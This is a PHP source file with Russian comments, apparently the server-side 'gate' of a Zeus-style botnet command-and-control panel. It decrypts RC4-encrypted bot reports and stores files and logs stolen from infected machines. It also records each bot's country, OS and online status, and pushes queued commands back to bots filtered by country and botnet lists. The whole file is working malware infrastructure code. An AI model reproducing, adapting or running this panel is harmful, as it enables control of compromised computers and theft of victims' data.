<?php define('__REPORT__', 1); /* Гейт. Протокол бот <-> сервер представляет из себя со стороны бота - отсылка отчета о чем либо, а со стороны сервера - отправка изменений в настройках( или команды). Со стороны бота, за раз отправляется информация об одном событие/объекте. */ if(@$_SERVER['REQUEST_METHOD'] !== 'POST')die(); require_once('system/global.php'); require_once('system/config.php'); //Получаем данные. $data = @file_get_contents('php://input'); $data_size = @strlen($data); if($data_size < HEADER_SIZE + ITEM_HEADER_SIZE)die(); $data = RC4($data, BOTNET_CRYPTKEY); //Верефикация. Если совпадает MD5, нет смысла проверять, что-то еще. if(strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0)die(); //Парсим данные (Сжатие данных не поддерживается). //Поздравляю мега хакеров, этот алгоритм позволит вам спокойно читать данные бота. Не забудьте написать 18 парсеров и 100 бэкдоров. $list = array(); for($i = HEADER_SIZE; $i < $data_size;) { $k = @unpack('L4', @substr($data, $i, ITEM_HEADER_SIZE)); $list[$k[1]] = @substr($data, $i + ITEM_HEADER_SIZE, $k[3]); $i += (ITEM_HEADER_SIZE + $k[3]); } unset($data); //Основные параметры, которые должны быть всегда. if(empty($list[SBCID_BOT_VERSION]) || empty($list[SBCID_BOT_ID]))die(); //Подключаемся к базе. if(!ConnectToDB())die(); //////////////////////////////////////////////////////////////////////////////////////////////////// // Обрабатываем данные. //////////////////////////////////////////////////////////////////////////////////////////////////// $bot_id = str_replace("\x01", "\x02", trim($list[SBCID_BOT_ID])); $bot_id_q = addslashes($bot_id); $botnet = (empty($list[SBCID_BOTNET])) ? DEFAULT_BOTNET : str_replace("\x01", "\x02", trim($list[SBCID_BOTNET])); $botnet_q = addslashes($botnet); $bot_version = ToUint($list[SBCID_BOT_VERSION]); $real_ipv4 = trim((!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR'])); $country = GetCountryIPv4(); //str_replace("\x01", "\x02", GetCountryIPv4()); $country_q = addslashes($country); $curtime = time(); $rtime_min_online = $curtime - BOTNET_TIMEOUT; //Минимальное время, при котором бот считается в онлайне. //Отчет об исполнении скрипта. if(!empty($list[SBCID_SCRIPT_ID]) && isset($list[SBCID_SCRIPT_STATUS], $list[SBCID_SCRIPT_RESULT]) && strlen($list[SBCID_SCRIPT_ID]) == 16) { if(!@mysql_query("INSERT INTO botnet_scripts_stat SET bot_id='{$bot_id_q}',bot_version={$bot_version},rtime={$curtime},". "extern_id='".addslashes($list[SBCID_SCRIPT_ID])."',". "type=".(ToInt($list[SBCID_SCRIPT_STATUS]) == 0 ? 2 : 3).",". "report='".addslashes($list[SBCID_SCRIPT_RESULT])."'"))die(); } //Запись логов/файлов. else if(!empty($list[SBCID_BOTLOG]) && !empty($list[SBCID_BOTLOG_TYPE])) { $type = ToInt($list[SBCID_BOTLOG_TYPE]); if($type == BLT_FILE) { //Расширения которые, представляют возможность удаленного запуска. $bad_exts = array('.php', '.asp', '.exe', '.pl', '.cgi', '.cmd', '.bat'); $fd_hash = 0; $fd_size = strlen($list[SBCID_BOTLOG]); //Формируем имя файла. $file_path = REPORTS_PATH.'/files/'.urlencode($botnet).'/'.urlencode($bot_id); $last_name = ''; $l = explode('/', (isset($list[SBCID_PATH_DEST]) && strlen($list[SBCID_PATH_DEST]) > 0 ? str_replace('\\', '/', $list[SBCID_PATH_DEST]) : 'unknown')); foreach($l as $k)if(strlen($k) > 0 && strcmp($k, '..') !== 0 && strcmp($k, '.') !== 0)$file_path .= '/'.($last_name = urlencode($k)); if(strlen($last_name) === 0)$file_path .= '/unknown.dat'; unset($l); //Проверяем расширении, и указываем маску файла. if(($ext = strrchr($last_name, '.')) === false || array_search(strtolower($ext), $bad_exts) !== false)$file_path .= '.dat'; $ext_pos = strrpos($file_path, '.'); //Добавляем файл. for($i = 0; $i < 9999; $i++) { if($i == 0)$f = $file_path; else $f = substr_replace($file_path, '('.$i.').', $ext_pos, 1); if(file_exists($f)) { if($fd_size == filesize($f)) { if($fd_hash === 0)$fd_hash = md5($list[SBCID_BOTLOG], true); if(strcmp(md5_file($f, true), $fd_hash) === 0)break; } } else { if(!CreateDir(dirname($file_path)) || !($h = fopen($f, 'wb')))die(); flock($h, LOCK_EX); fwrite($h, $list[SBCID_BOTLOG]); flock($h, LOCK_UN); fclose($h); break; } } } else { //Запись в базу. if(REPORTS_TO_DB === 1) { $table = 'botnet_reports_'.gmdate('ymd', $curtime); $query = "INSERT DELAYED INTO {$table} SET bot_id='{$bot_id_q}',botnet='{$botnet_q}',bot_version={$bot_version},type={$type},country='{$country_q}',rtime={$curtime},". "path_source='". (empty($list[SBCID_PATH_SOURCE]) ? '' : addslashes($list[SBCID_PATH_SOURCE]))."',". "path_dest='". (empty($list[SBCID_PATH_DEST]) ? '' : addslashes($list[SBCID_PATH_DEST]))."',". "time_system=". (empty($list[SBCID_TIME_SYSTEM]) ? 0 : ToUint($list[SBCID_TIME_SYSTEM])).",". "time_tick=". (empty($list[SBCID_TIME_TICK]) ? 0 : ToUint($list[SBCID_TIME_TICK])).",". "time_localbias=".(empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : ToInt($list[SBCID_TIME_LOCALBIAS])).",". "os_version='". (empty($list[SBCID_OS_INFO]) ? '' : addslashes($list[SBCID_OS_INFO]))."',". "language_id=". (empty($list[SBCID_LANGUAGE_ID]) ? 0 : ToUshort($list[SBCID_LANGUAGE_ID])).",". "process_name='". (empty($list[SBCID_PROCESS_NAME]) ? '' : addslashes($list[SBCID_PROCESS_NAME]))."',". "ipv4='". addslashes($real_ipv4)."',". "context='". addslashes($list[SBCID_BOTLOG])."'"; //Думаю такой порядок повышает производительность. if(!@mysql_query($query) && (!@mysql_query("CREATE TABLE IF NOT EXISTS {$table} LIKE botnet_reports") || !@mysql_query($query)))die(); } //Запись в файл. if(REPORTS_TO_FS === 1) { $file_path = REPORTS_PATH.'/other/'.urlencode($botnet).'/'.urlencode($bot_id); if(!CreateDir($file_path) || !($h = fopen($file_path.'/reports.txt', 'ab')))die(); flock($h, LOCK_EX); fwrite($h, str_repeat("=", 80)."\r\n". "bot_id={$bot_id}\r\n". "botnet={$botnet}\r\n". "bot_version=".IntToVersion($bot_version)."\r\n". "ipv4={$real_ipv4}\r\n". "country={$country}\r\n". "type={$type}\r\n". "rtime=". gmdate('H:i:s d.m.Y', $curtime)."\r\n". "time_system=". (empty($list[SBCID_TIME_SYSTEM]) ? 0 : gmdate('H:i:s d.m.Y', ToInt($list[SBCID_TIME_SYSTEM])))."\r\n".//time() тоже возращает int. "time_tick=". (empty($list[SBCID_TIME_TICK]) ? 0 : TickCountToTime(ToUint($list[SBCID_TIME_TICK]) / 1000))."\r\n". "time_localbias=".(empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : TimeBiasToText(ToInt($list[SBCID_TIME_LOCALBIAS])))."\r\n". "os_version=". (empty($list[SBCID_OS_INFO]) ? '' : OSDataToString($list[SBCID_OS_INFO]))."\r\n". "language_id=". (empty($list[SBCID_LANGUAGE_ID]) ? 0 : ToUshort($list[SBCID_LANGUAGE_ID]))."\r\n". "process_name=". (empty($list[SBCID_PROCESS_NAME]) ? '' : $list[SBCID_PROCESS_NAME])."\r\n". "path_source=". (empty($list[SBCID_PATH_SOURCE]) ? '' : $list[SBCID_PATH_SOURCE])."\r\n". "context=\r\n". $list[SBCID_BOTLOG]."\r\n\r\n\r\n"); flock($h, LOCK_UN); fclose($h); } } } //Отчет об онлайн-статусе. else if(!empty($list[SBCID_BOT_STATUS])) { //Стандартный запрос. $query = "bot_id='{$bot_id_q}',botnet='{$botnet_q}',bot_version={$bot_version},country='{$country_q}',rtime_last={$curtime},". "net_latency=". (empty($list[SBCID_NET_LATENCY]) ? 0 : ToUint($list[SBCID_NET_LATENCY])).",". "port_s1=". (empty($list[SBCID_PORT_S1]) ? 0 : ToUshort($list[SBCID_PORT_S1])).",". "time_localbias=".(empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : ToInt($list[SBCID_TIME_LOCALBIAS])).",". "os_version='". (empty($list[SBCID_OS_INFO]) ? '' : addslashes($list[SBCID_OS_INFO]))."',". "language_id=". (empty($list[SBCID_LANGUAGE_ID]) ? 0 : ToUshort($list[SBCID_LANGUAGE_ID])).",". "ipv4='". addslashes($real_ipv4)."',". "flag_nat=IF(net_latency > 0, IF(port_s1 > 0, 0, 1), 1)";//FIXME: Определять NAT ботом. if(!mysql_query("INSERT INTO botnet_list SET comments='', rtime_first={$curtime}, rtime_online={$curtime}, flag_install=".(ToInt($list[SBCID_BOT_STATUS]) == BS_INSTALLED ? 1 : 0).", {$query} ". "ON DUPLICATE KEY UPDATE rtime_online=IF(rtime_last <= {$rtime_min_online}, {$curtime}, rtime_online), {$query}"))die(); //Поиск скриптов для отправки. $reply_data = ''; $reply_count = 0; $bot_id_qm = ToSQLSafeMask($bot_id_q); $botnet_qm = ToSQLSafeMask($botnet_q); $country_qm = ToSQLSafeMask($country_q); $r = @mysql_query("SELECT extern_id, script_bin, send_limit, id FROM botnet_scripts WHERE flag_enabled=1 AND ". "(countries_wl='' OR countries_wl LIKE BINARY '%\x01{$country_qm}\x01%') AND ". "(countries_bl NOT LIKE BINARY '%\x01{$country_qm}\x01%') AND ". "(botnets_wl='' OR botnets_wl LIKE BINARY '%\x01{$botnet_qm}\x01%') AND ". "(botnets_bl NOT LIKE BINARY '%\x01{$botnet_qm}\x01%') AND ". "(bots_wl='' OR bots_wl LIKE BINARY '%\x01{$bot_id_qm}\x01%') AND ". "(bots_bl NOT LIKE BINARY '%\x01{$bot_id_qm}\x01%') ". "LIMIT 10"); if($r)while((($m = mysql_fetch_row($r)))) { $eid = addslashes($m[0]); //Проверяем, не достигнут ли лимит. if($m[2] != 0 && ($j = @mysql_query("SELECT COUNT(*) FROM botnet_scripts_stat WHERE type=1 AND extern_id='{$eid}'")) && ($c = mysql_fetch_row($j)) && $c[0] >= $m[2]) { @mysql_query("UPDATE botnet_scripts SET flag_enabled=0 WHERE id={$m[3]} LIMIT 1"); continue; } //Добовляем бота в список отправленных. if(@mysql_query("INSERT HIGH_PRIORITY INTO botnet_scripts_stat SET extern_id='{$eid}', type=1, bot_id='{$bot_id_q}', bot_version={$bot_version}, rtime={$curtime}, report='Sended'")) { $size = strlen($m[1]) + strlen($m[0]); $reply_data .= pack('LLLL', ++$reply_count, 0, $size, $size).$m[0].$m[1]; } } if($reply_count > 0) { $reply_data = pack('LLL', HEADER_SIZE + strlen($reply_data), 0, $reply_count).md5($reply_data, true).$reply_data; echo RC4($reply_data, BOTNET_CRYPTKEY); die(); } } else die(); //Отправляем пустой ответ. SendEmptyReply(); /////////////////////////////////////////////////////////////////////////////// // Функции. /////////////////////////////////////////////////////////////////////////////// /* Отправка пустого ответа и выход. */ function SendEmptyReply() { echo RC4(pack('LLL', HEADER_SIZE + ITEM_HEADER_SIZE, 0, 1)."\x4A\xE7\x13\x36\xE4\x4B\xF9\xBF\x79\xD2\x75\x2E\x23\x48\x18\xA5"."\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", BOTNET_CRYPTKEY); die(); } /* Получение страны. Return - string, страна. */ function GetCountryIPv4() { global $real_ipv4; $ip = sprintf('%u', ip2long($real_ipv4)); if(($r = @mysql_query("SELECT c FROM ipv4toc WHERE l<='".$ip."' AND h>='".$ip."' LIMIT 1")) && ($m = mysql_fetch_row($r)) !== false)return $m[0]; else return '--'; } /* Ковертация Bin2UINT. IN $str - string, исходная бинарная строка. Return - int, сконвертированное число. */ function ToUint($str) { $q = @unpack('L', $str); return is_array($q) && is_numeric($q[1]) ? ($q[1] < 0 ? sprintf('%u', $q[1]) : $q[1]) : 0; } /* Ковертация Bin2INT. IN $str - string, исходная бинарная строка. Return - int, сконвертированное число. */ function ToInt($str) { $q = @unpack('l', $str); return is_array($q) && is_numeric($q[1]) ? $q[1] : 0; } /* Ковертация Bin2SHORT. IN $str - string, исходная бинарная строка. Return - int, сконвертированное число. */ function ToUshort($str) { $q = @unpack('S', $str); return is_array($q) && is_numeric($q[1]) ? $q[1] : 0; } ?>